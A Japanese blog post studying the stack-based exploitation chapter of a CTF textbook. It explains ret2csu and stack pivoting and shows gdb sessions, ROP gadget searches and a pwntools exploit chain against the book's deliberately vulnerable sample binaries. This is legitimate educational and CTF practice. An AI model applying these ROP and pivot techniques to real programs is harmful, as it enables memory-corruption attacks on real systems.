前回 は、「ゼロからマスター!Colab×Pythonでバイナリファイル解析実践ガイド (エンジニア入門シリーズ)」という書籍を、ざっくり読みました。
今回は、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読んでいきたいと思います。今回は、スタックベースエクスプロイトです。
それでは、やっていきます。
参考文献
今回、題材にさせて頂いた「詳解セキュリティコンテスト」です。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ ← 今回
以下は「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」のサポートサイトです。問題ファイルをダウンロードすることが出来ます。
では、書籍の章を参考に書き進めていきます。
32章:スタックベースエクスプロイト
32.1:関数とスタックフレーム
興味深い内容が解説されています。
関数のローカル変数は、スタックに確保されますが、ローカル変数が複数あった場合、どのような順序で、スタックに配置されるのでしょうか。こちらにその解説がされています。
次の順で上位(アドレスが大きい)から配置されると解説されています。これらの分類内では、宣言した順に上位から配置されます。
- ポインタ、数値の変数
- 配列、及び、構造体
まず、通常の変数より、配列や構造体の変数の方が、下位(アドレスが小さい)に配置されます。例えば、文字列配列の場合は、アドレスが小さい位置から順番に格納されていきます。スタックバッファオーバーフローの場合、文字列配列の位置より、アドレスの大きい方に格納されているポインタや数値のローカル変数や、リターンアドレスに影響を与えることになります。リターンアドレスはスタックを確保する前の関数にジャンプした際に配置されるので、当然、ローカル変数より上位のアドレスになりますが、配列や構造体より上位に配置されるポインタや数値のローカル変数についても上位のアドレスになるため、スタックバッファオーバーフローによって書き換え可能になるため、攻撃者にとっては都合がいい配置と言えます。
32.2:攻撃手法
上で解説があったように、スタックバッファオーバーフローにより、ローカル変数の書き換え、リターンアドレスの書き換えを行う方法が解説されています。
その後、ROP についての解説がされています。また、ROPガジェットを探すツールとしては、rp++ が使われています。
その後は、スタックピボットという攻撃方法について解説されています。リターンアドレスだけでなく、rbp も都合のいいアドレスに書き換えることで、スタックを攻撃者の都合のいい領域に設定することが出来ます。
第3引数まで設定して関数を呼ぶ
ROP についての解説と、スタックピボットの解説の間に書かれていたコラム?の「第3引数まで設定して関数を呼ぶ」(P503)が、興味深かったので、ここにまとめます。
簡単に言うと、ROP を使って、第3引数まで使用する関数をコールしたいときに、RDI、RSI を引数に使ってる関数があって、pop rdi、pop rsi という ROPガジェットは見つかったけど、第3引数の RDX のための pop rdx がプログラム内に存在しなくて困る場合がありますが、そんな時に使える小技です。世の中では、ret2csu と呼ばれているそうです。では、詳しくやっていきます。
解説に使われているプログラムは、sbof_ret(files/pwnable/03_stack/sbof_ret)です。sbof_ret のソースコード(sbof_ret.c)は以下です。でも、このプログラムには、第3引数まで使う関数はありません。第3引数まで使う関数を ROP で飛びたいが、pop rdx が見つからない場合の手法なのに、なぜ、このプログラムを使って解説しているのか分かりません(笑)。
main関数では、name という配列が定義されていて、ユーザからの入力を 256byte まで受け付けるようになっている脆弱性のあるプログラムです。win1関数と win2関数が定義されていて、main関数からは呼ばれてないですが、リターンアドレスを書き換えて、win1関数や win2関数にジャンプできる、という意図だと思います。
#include <stdio.h> void main(void){ char name[0x10]; printf("Input Name >> "); fgets(name, 0x100, stdin); } void win1(void){ puts("This is win1\n"); puts("Congratz!!"); } void win2(unsigned key){ puts("This is win2\n"); if(key == 0xcafebabe) puts("Correct!"); else puts("Wrong..."); }
ここでは、このプログラムの脆弱性について解説しているのではなく、第3引数まで使ってる関数が存在していないが、シェルを取りたいときなどに、第3引数まで指定する必要がある execve関数などを使いたい場合に、どうすればいいか、ということです。
まず、sbof_ret に対して、rp++ を使って、pop rdx を探してみます。まず、第1引数の RDI、第2引数の RSI を実行して、第3引数の RDX の ROPガジェットを探します。確かに、RDI、RSI は見つかりますが、RDX についての ROPガジェットが見つかりません。
$ rp-lin -f ./sbof_ret -r 3 | grep 'pop rdi' 0x401283: pop rdi ; ret ; (1 found) $ rp-lin -f ./sbof_ret -r 3 | grep 'pop rsi' 0x401281: pop rsi ; pop r15 ; ret ; (1 found) $ rp-lin -f ./sbof_ret -r 3 | grep 'pop rdx'
sbof_ret を Ghidra で C言語化した内容は以下です。ちょっと長いので、抜粋です。
注目するのは、__libc_csu_init関数 です。これを使うと、pop rdx の代わりに出来るというものです。__libc_csu_init関数 は、libc をリンクすると必ず生成される関数なので、汎用的に第3引数まで使用する関数を ROP で使えるということになります。
void processEntry _start(undefined8 param_1,undefined8 param_2) { undefined auStack_8 [8]; __libc_start_main(main,param_2,&stack0x00000008,__libc_csu_init,__libc_csu_fini,param_1,auStack_8) ; do { // WARNING: Do nothing block with infinite loop } while( true ); } void main(void) { char name [16]; printf("Input Name >> "); FUN_00401080(name,0x100,stdin); return; } void win1(void) { puts("This is win1\n"); puts("Congratz!!"); return; } void win2(uint key) { uint key_local; puts("This is win2\n"); if (key == 0xcafebabe) { puts("Correct!"); } else { puts("Wrong..."); } return; } void __libc_csu_init(EVP_PKEY_CTX *param_1,undefined8 param_2,undefined8 param_3) { long lVar1; _init(param_1); lVar1 = 0; do { (*(code *)(&__frame_dummy_init_array_entry)[lVar1])((ulong)param_1 & 0xffffffff,param_2,param_3) ; lVar1 = lVar1 + 1; } while (lVar1 != 1); return; } void __libc_csu_fini(void) { return; }
__libc_csu_init関数 のアセンブラが以下です。
リターンアドレスを書き換えて、0x40127a にジャンプします。ただし、あらかじめ、rbx(0 を設定しておく)、rbp、r12、r13、r14、r15 のために、スタックに値を格納しておきます。これにより、r12、r13、r14、r15 には任意の値を設定することが出来ます。0x401284 の ret命令のためのリターンアドレスに、0x401260 を格納しておきます。すると、第1引数の edi には r12d(32bit)の値が使われ、第2引数の rsi には r13 の値が使われ、第3引数の rdx には r14 の値が使われ、呼び出したい関数のアドレスが格納されたアドレスを r15 に格納しておくことで、今回使いたかった第3引数まで使う関数を呼び出すことが出来ます。ただし、r15 は、r15+rbx*8 という使われ方をするため、スタックに準備する際に、上にも書いたように rbx には 0 を設定しておきます。また、r15 に飛び先のアドレスを設定するのではなく、飛び先のアドレスが格納された場所(アドレス)を r15 に設定しなければなりません。多くの場合は、GOT領域が使いやすいと思います。
$ objdump -M intel -d sbof_ret (途中、省略) 0000000000401220 <__libc_csu_init>: 401220: f3 0f 1e fa endbr64 401224: 41 57 push r15 401226: 4c 8d 3d e3 2b 00 00 lea r15,[rip+0x2be3] # 403e10 <__frame_dummy_init_array_entry> 40122d: 41 56 push r14 40122f: 49 89 d6 mov r14,rdx 401232: 41 55 push r13 401234: 49 89 f5 mov r13,rsi 401237: 41 54 push r12 401239: 41 89 fc mov r12d,edi 40123c: 55 push rbp 40123d: 48 8d 2d d4 2b 00 00 lea rbp,[rip+0x2bd4] # 403e18 <__do_global_dtors_aux_fini_array_entry> 401244: 53 push rbx 401245: 4c 29 fd sub rbp,r15 401248: 48 83 ec 08 sub rsp,0x8 40124c: e8 af fd ff ff call 401000 <_init> 401251: 48 c1 fd 03 sar rbp,0x3 401255: 74 1f je 401276 <__libc_csu_init+0x56> 401257: 31 db xor ebx,ebx 401259: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] 401260: 4c 89 f2 mov rdx,r14 401263: 4c 89 ee mov rsi,r13 401266: 44 89 e7 mov edi,r12d 401269: 41 ff 14 df call QWORD PTR [r15+rbx*8] 40126d: 48 83 c3 01 add rbx,0x1 401271: 48 39 dd cmp rbp,rbx 401274: 75 ea jne 401260 <__libc_csu_init+0x40> 401276: 48 83 c4 08 add rsp,0x8 40127a: 5b pop rbx 40127b: 5d pop rbp 40127c: 41 5c pop r12 40127e: 41 5d pop r13 401280: 41 5e pop r14 401282: 41 5f pop r15 401284: c3 ret 401285: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] 40128c: 00 00 00 00 (途中、省略)
この手法により、pop rdx という ROPガジェットが見つからなくても、第3引数まで使う関数を呼び出すことが出来ることになります。
理論は分かったので、実際に第3引数まで使う関数を呼び出すエクスプロイトコードを書いてみます。
まず、gdb-peda の patternコマンドでリターンアドレスの位置を確認します。patternコマンドは、RIP に pattc で出力された文字列のうち、ある 8文字が入り、それを patto に入力すると位置を出力してくれる仕組みです。
32bitプログラムでやった場合は、Invalid $PC address: xxx のような感じで、分かりやすく EIP に入る値が分かったのですが、64bitプログラムの場合、RIP に格納される前のタイミングでエラーが発生してしまいます。ですが、スタックの先頭にある値が ret命令で RIP に格納されるので、スタックの先頭の値を見ればいいです。その値は patto に入力すると、リターンアドレスの位置が分かります(今回は 24 でした)。
$ gdb -q ../shokai_security_contest/files/pwnable/03_stack/sbof_ret Reading symbols from ../shokai_security_contest/files/pwnable/03_stack/sbof_ret... gdb-peda$ pattc 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r Starting program: /home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Input Name >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffe1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n") RBX: 0x7fffffffe2f8 --> 0x7fffffffe576 ("/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret") RCX: 0xffbfa94f RDX: 0xfbad2288 RSI: 0x4056b1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n") RDI: 0x7ffff7f9da20 --> 0x0 RBP: 0x41412d4141434141 ('AACAA-AA') RSP: 0x7fffffffe1e8 ("(AADAA;AA)AAEAAaAA0AAFAAbA\n") RIP: 0x4011ad (<main+55>: ret) R8 : 0x4056e3 --> 0x0 R9 : 0x0 R10: 0x1000 R11: 0x246 R12: 0x0 R13: 0x7fffffffe308 --> 0x7fffffffe5c8 ("SHELL=/bin/bash") R14: 0x0 R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4011a6 <main+48>: call 0x401080 <fgets@plt> 0x4011ab <main+53>: nop 0x4011ac <main+54>: leave => 0x4011ad <main+55>: ret 0x4011ae <win1>: endbr64 0x4011b2 <win1+4>: push rbp 0x4011b3 <win1+5>: mov rbp,rsp 0x4011b6 <win1+8>: lea rdi,[rip+0xe56] # 0x402013 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe1e8 ("(AADAA;AA)AAEAAaAA0AAFAAbA\n") 0008| 0x7fffffffe1f0 ("A)AAEAAaAA0AAFAAbA\n") 0016| 0x7fffffffe1f8 ("AA0AAFAAbA\n") 0024| 0x7fffffffe200 --> 0x1000a4162 0032| 0x7fffffffe208 --> 0x7fffffffe2f8 --> 0x7fffffffe576 ("/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret") 0040| 0x7fffffffe210 --> 0x7fffffffe2f8 --> 0x7fffffffe576 ("/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret") 0048| 0x7fffffffe218 --> 0xa50303d100202d29 0056| 0x7fffffffe220 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ad in main () at sbof_ret.c:8 8 sbof_ret.c: そのようなファイルやディレクトリはありません. gdb-peda$ patto (AADAA;A (AADAA;A found at offset: 24
メイン関数のアセンブラは以下です。
gdb-peda$ disas Dump of assembler code for function main: 0x0000000000401176 <+0>: endbr64 0x000000000040117a <+4>: push rbp 0x000000000040117b <+5>: mov rbp,rsp 0x000000000040117e <+8>: sub rsp,0x10 0x0000000000401182 <+12>: lea rdi,[rip+0xe7b] # 0x402004 0x0000000000401189 <+19>: mov eax,0x0 0x000000000040118e <+24>: call 0x401070 <printf@plt> 0x0000000000401193 <+29>: mov rdx,QWORD PTR [rip+0x2ea6] # 0x404040 <stdin@@GLIBC_2.2.5> 0x000000000040119a <+36>: lea rax,[rbp-0x10] 0x000000000040119e <+40>: mov esi,0x100 0x00000000004011a3 <+45>: mov rdi,rax 0x00000000004011a6 <+48>: call 0x401080 <fgets@plt> 0x00000000004011ab <+53>: nop 0x00000000004011ac <+54>: leave => 0x00000000004011ad <+55>: ret End of assembler dump.
上のアセンブラから、スタックの位置関係を表にします。確かに、name から 24byte の位置にリターンアドレスがあります。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp + 8 | 8 | リターンアドレス |
| rbp | 8 | RBP |
| rbp - 0x10 | 16 | name(RSP) |
Pythonコンソールで、GOT領域、PLT領域などを見てみます。
うーん、困りました。GOT領域にある libc の関数には、system関数や execve関数もありませんし、アドレスリークに使いやすい write関数もありません。この状況では、r15 に格納するための、飛び先のアドレスを格納した位置を作り出すのが困難です。GOT領域が格納している printf関数、puts関数のアドレスを使うことは出来ますが、どちらも、どこかに文字列を格納しておき、その先頭アドレスを渡す必要があります。それも厳しい状況です。
$ python Python 3.11.2 (main, May 2 2024, 11:59:08) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> ee = ELF('sbof_ret') [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes >>> ee.got {'__libc_start_main': 4210672, '__gmon_start__': 4210680, 'stdin': 4210752, 'puts': 4210712, 'printf': 4210720, 'fgets': 4210728} >>> ee.plt {'puts': 4198500, 'printf': 4198516, 'fgets': 4198532}
悩んでても解決は出来そうにないので、エクスプロイトコードは諦めます。ret2csu の原理は学べたのでよしとします。
32.2.4:Stack Pivot
Stack Pivot とは、スタックバッファオーバーフローを使った攻撃を行う際、書き換えることができる量が少ない場合に、bss領域、ヒープ領域などにスタックポインタ(RSP)を移動させて、自由に ROP を行えるようにする手法です。重要そうなので、少し詳しくやりたいと思います。
以下は、サポートサイトで配布されてる Stack Pivot で取り扱うソースコード(sbof_pivot.c)です。
main関数では、fgets関数が 2回実行されます。また、ローカル変数(スタック)として、16byte の配列 name が確保されています。fgets関数で指定されているサイズが 32byte なので、スタックバッファオーバーフローとしては、確保された 16byte と SavedRBP(8byte)、リターンアドレス(8byte)までしか書き換えることができません。
リターンアドレスを書き換えて、win関数を実行したいのですが、win関数は引数を 2つ必要とします。この引数に任意の値を設定するためには ROP(pop rdi と pop rsi)を使う必要がありそうですが、書き換えるサイズが少ないので、このままでは引数の値を設定することが出来ません。
具体的には、ROP では、 pop rdi などの ROPガジェットを探してきて、リターンアドレスを書き換えて、その ROPガジェットにジャンプさせて、リターンアドレスの次のアドレスの位置の 8byte に値を設定しておき、任意の値をレジスタにロードします。しかし、リターンアドレスまでしか書き換えることが出来ないと、このような ROP を使うことが出来ません。
ちなみに、fgets関数の第2引数のサイズは、自動でセットされる終端のヌル文字を含むので、今回の場合は 31byte を fgets関数に与えることになります。リターンアドレスの最上位バイトがセットできないことになります(リトルエンディアンなので)が、ヌル文字(0)が自動で設定されるので、リターンアドレスに指定できるアドレスの範囲は 3byte で表現できる 0x00FFFFFF までという制約があります。
#include <stdio.h> char msg[0x100]; void main(void){ char name[0x10]; puts("Hello!"); printf("Input Name >> "); fgets(name, 0x20, stdin); printf("Input Message >> "); fgets(msg, sizeof(msg), stdin); } void win(unsigned key1, unsigned key2){ puts("This is win\n"); if(key1 == 0xcafebabe && key2 == 0xc0bebeef) puts("Correct!"); else puts("Wrong..."); }
main関数の逆アセンブラです。想定通り、スタックは 16byte を確保しています。
pwndbg> disassemble main Dump of assembler code for function main: 0x0000000000401176 <+0>: endbr64 0x000000000040117a <+4>: push rbp 0x000000000040117b <+5>: mov rbp,rsp 0x000000000040117e <+8>: sub rsp,0x10 => 0x0000000000401182 <+12>: lea rdi,[rip+0xe7b] # 0x402004 0x0000000000401189 <+19>: call 0x401060 <puts@plt> 0x000000000040118e <+24>: lea rdi,[rip+0xe76] # 0x40200b 0x0000000000401195 <+31>: mov eax,0x0 0x000000000040119a <+36>: call 0x401070 <printf@plt> 0x000000000040119f <+41>: mov rdx,QWORD PTR [rip+0x2e9a] # 0x404040 <stdin@@GLIBC_2.2.5> 0x00000000004011a6 <+48>: lea rax,[rbp-0x10] 0x00000000004011aa <+52>: mov esi,0x20 0x00000000004011af <+57>: mov rdi,rax 0x00000000004011b2 <+60>: call 0x401080 <fgets@plt> 0x00000000004011b7 <+65>: lea rdi,[rip+0xe5c] # 0x40201a 0x00000000004011be <+72>: mov eax,0x0 0x00000000004011c3 <+77>: call 0x401070 <printf@plt> 0x00000000004011c8 <+82>: mov rax,QWORD PTR [rip+0x2e71] # 0x404040 <stdin@@GLIBC_2.2.5> 0x00000000004011cf <+89>: mov rdx,rax 0x00000000004011d2 <+92>: mov esi,0x100 0x00000000004011d7 <+97>: lea rdi,[rip+0x2e82] # 0x404060 <msg> 0x00000000004011de <+104>: call 0x401080 <fgets@plt> 0x00000000004011e3 <+109>: nop 0x00000000004011e4 <+110>: leave 0x00000000004011e5 <+111>: ret End of assembler dump.
スタックを可視化しておきます。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x10 | 16 | name |
| rbp | 8 | Saved RBP |
セキュリティ機構も調べておきます。
$ ~/bin/checksec --file=sbof_pivot RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 0 2 sbof_pivot
では、どうするのかというと、グローバル変数の msg[0x100] に注目します。ここにスタックポインタを移動させることを考えます。ただし、上で述べたように、ROP は使えないため、pop rsp; ret という ROPガジェットを使うことは出来ません。では、どうするのか。
まず、スタックの Saved RBP に設定したいスタックポインタのアドレスを格納しておきます。すると、leave命令で RBP の値が RSP にコピーされて、スタックの Saved RBP の値を RBP にセットされます。leave命令は、mov rsp, rbp と pop rbp が実行されるのと同じことです。そして、リターンアドレスには、leave命令と ret命令の ROPガジェットに設定します。こうすることで、もう一度、leave命令が実行されることになり、mov rsp, rbp により、スタックの Saved RBP に設定した任意のアドレスをスタックポインタに設定することが出来ます。
これでスタックポインタを移動させることが出来るのですが、1つ注意点があります。2回目の leave命令でやりたいのは、スタックの Saved RBP に設定した値が格納されている RBP を RSP に反映させることですが、このとき、現在のスタックポインタにある値が RBP にセットされる(通常のスタックバッファオーバーフローと同じように、この Saved RBP は使わないので値は何でもいい)ため、スタックポインタは 8byte 進んでしまうということです。よって、スタックの Saved RBP に設定する値は、8byte 小さくしておく必要があります。例えば、今回の場合だと、msg[0x100] の先頭から使う場合、msg の先頭アドレスマイナス 8 をした値をスタックの Saved RBP に設定しておく必要があります。
それでは、実際にやっていきます。
rp++ で ROPガジェットを探します。今回の問題の目的は win関数にジャンプして Correct! と表示させることなので、win関数の第1引数と第2引数も設定する必要があります。
第2引数の RSI の ROPガジェットは、pop r15 も含んでしまったので、r15 の分もスタックに積んでおく必要があります。
$ rp-lin -f ./sbof_pivot -r 3 | grep 'pop rdi' 0x4012a3: pop rdi ; ret ; (1 found) $ rp-lin -f ./sbof_pivot -r 3 | grep 'pop rsi' 0x4012a1: pop rsi ; pop r15 ; ret ; (1 found) $ rp-lin -f ./sbof_pivot -r 2 | grep 'leave' 0x4011e4: leave ; ret ; (1 found) 0x401232: leave ; ret ; (1 found) 0x4011e3: nop ; leave ; ret ; (1 found) 0x401231: nop ; leave ; ret ; (1 found)
アドレスを調べます。
$ nm sbof_pivot | grep msg 0000000000404060 B msg $ nm sbof_pivot | grep win 00000000004011e6 T win
書籍では、pwntools を使って対話的に実行するエクスプロイトコードではなく、単純に入力する文字列を作る Pythonコードを実装しています。その形でもやりたいことは実現できると思いますが、ここでは、エクスプロイトコードを書いていこうと思います。
from pwn import * proc = process( ['sh', '-c', './sbof_pivot'] ) res = proc.recvline() print( res ) res2 = proc.recv(timeout=2) print( res2 ) ropchain = b'' ropchain += p64( 0x404060 + 192 - 8 ) # Saved RBP ropchain += p64( 0x4011e4 ) # leave; ret; proc.sendline( b'A' * 16 + ropchain[:-1] ) res = proc.recv(timeout=1) print( res ) ropchain = b'' ropchain += p64( 0x4012a3 ) # pop rdi; ret; ropchain += p64( 0xcafebabe ) # ropchain += p64( 0x4012a1 ) # pop rsi; pop r15; ret; ropchain += p64( 0xc0bebeef ) # ropchain += p64( 0xdeadbeef ) # 何でもいい ropchain += p64( 0x4011e6 ) # win() proc.sendline( b'A' * 192 + ropchain )
早速動かしていきます。
うーん、動きません。なぜか、2行目の文字列("Input Name >> ")が取得できません。変な不具合があるのか、環境の問題なのか、、、
書籍のサポートサイトが提供してくれている Pythonスクリプトが pwntools を使った実装ではなく、単純に入力を作る Pythonスクリプトになっているのは、今回発生した問題が解決できなかったので、それを回避したものを実装したのかもしれませんね、、、分かりませんけど。
$ python tmp.py [+] Starting local process './sbof_pivot': pid 2067 b'Hello!\n' b'' before sendline after sendline Traceback (most recent call last): File "/home/user/svn/experiment/python/tmp.py", line 21, in <module> res = proc.recv(timeout=1) ^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv return self._recv(numb, timeout) or b'' ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv if not self.buffer and not self._fillbuffer(timeout): ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/process.py", line 742, in recv_raw raise EOFError EOFError [*] Process './sbof_pivot' stopped with exit code -11 (SIGSEGV) (pid 2067)
もしかすると、ストリームバッファに入ったまま、出力されていないかもしれないので、ソースコード(sbof_pivot.c)はあるので、setvbuf関数を使って、ストリームバッファ(バッファリング)を無効化してやってみたいと思います。
$ diff sbof_pivot.c sbof_pivot_setvbuf.c --- sbof_pivot.c 2022-04-10 01:25:23.000000000 +0900 +++ sbof_pivot_setvbuf.c 2025-01-06 21:41:18.015247200 +0900 @@ -5,6 +5,8 @@ void main(void){ char name[0x10]; + setvbuf(stdout, NULL, _IONBF, 0); + puts("Hello!"); printf("Input Name >> ");
コンパイルします。ワーニングが出ますが、これは、オーバーフローしますよ、という警告のようです。
$ gcc -o sbof_pivot_setvbuf.out -fno-stack-protector -no-pie -g sbof_pivot_setvbuf.c sbof_pivot_setvbuf.c: In function ‘main’: sbof_pivot_setvbuf.c:13:9: warning: ‘fgets’ writing 32 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=] 13 | fgets(name, 0x20, stdin); | ^~~~~~~~~~~~~~~~~~~~~~~~ sbof_pivot_setvbuf.c:6:14: note: destination object ‘name’ of size 16 6 | char name[0x10]; | ^~~~ In file included from sbof_pivot_setvbuf.c:1: /usr/include/stdio.h:592:14: note: in a call to function ‘fgets’ declared with attribute ‘access (write_only, 1, 2)’ 592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream) | ^~~~~ sbof_pivot_setvbuf.c:13:9: warning: ‘fgets’ writing 32 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=] 13 | fgets(name, 0x20, stdin); | ^~~~~~~~~~~~~~~~~~~~~~~~ sbof_pivot_setvbuf.c:6:14: note: destination object ‘name’ of size 16 6 | char name[0x10]; | ^~~~ /usr/include/stdio.h:592:14: note: in a call to function ‘fgets’ declared with attribute ‘access (write_only, 1, 2)’ 592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
実行してみます。2行目が出てます!やはり、ストリームバッファが邪魔していたようです。
$ python exploit_sbof_pivot_mine.py [+] Starting local process './sbof_pivot_setvbuf.out': pid 2167 b'Hello!\n' b'Input Name >> ' before sendline after sendline b'Input Message >> ' [*] Stopped process './sbof_pivot_setvbuf.out' (pid 2167)
アドレスがズレたと思うので、ROP などを組みなおしていきます。
うーん、leave命令はありましたが、pop rdi と pop rsi が見つからなくなりました。
$ rp-lin -f ./sbof_pivot_setvbuf.out -r 5 | grep 'pop rdi' $ rp-lin -f ./sbof_pivot_setvbuf.out -r 5 | grep 'pop rsi' $ rp-lin -f ./sbof_pivot_setvbuf.out -r 3 | grep 'leave' 0x4011ea: leave ; ret ; (1 found) 0x40123d: leave ; ret ; (1 found) 0x4011e9: nop ; leave ; ret ; (1 found) 0x40123c: nop ; leave ; ret ; (1 found) 0x40123b: nop ; nop ; leave ; ret ; (1 found) $ nm sbof_pivot_setvbuf | grep win sbof_pivot_setvbuf.c sbof_pivot_setvbuf.out $ nm sbof_pivot_setvbuf.out | grep win 00000000004011ec T win
なぜ、見つからなくなったのかを見ていきます。まず、オリジナルの stack_pivot のアセンブラを見ます。0x4012a3 で見つけていましたので、見てみると、pop r15 になっています。調べてみると、pop rdi は機械語で、0x5F らしいので、その後の ret と組み合わせて、rp++ が検出したということのようです。
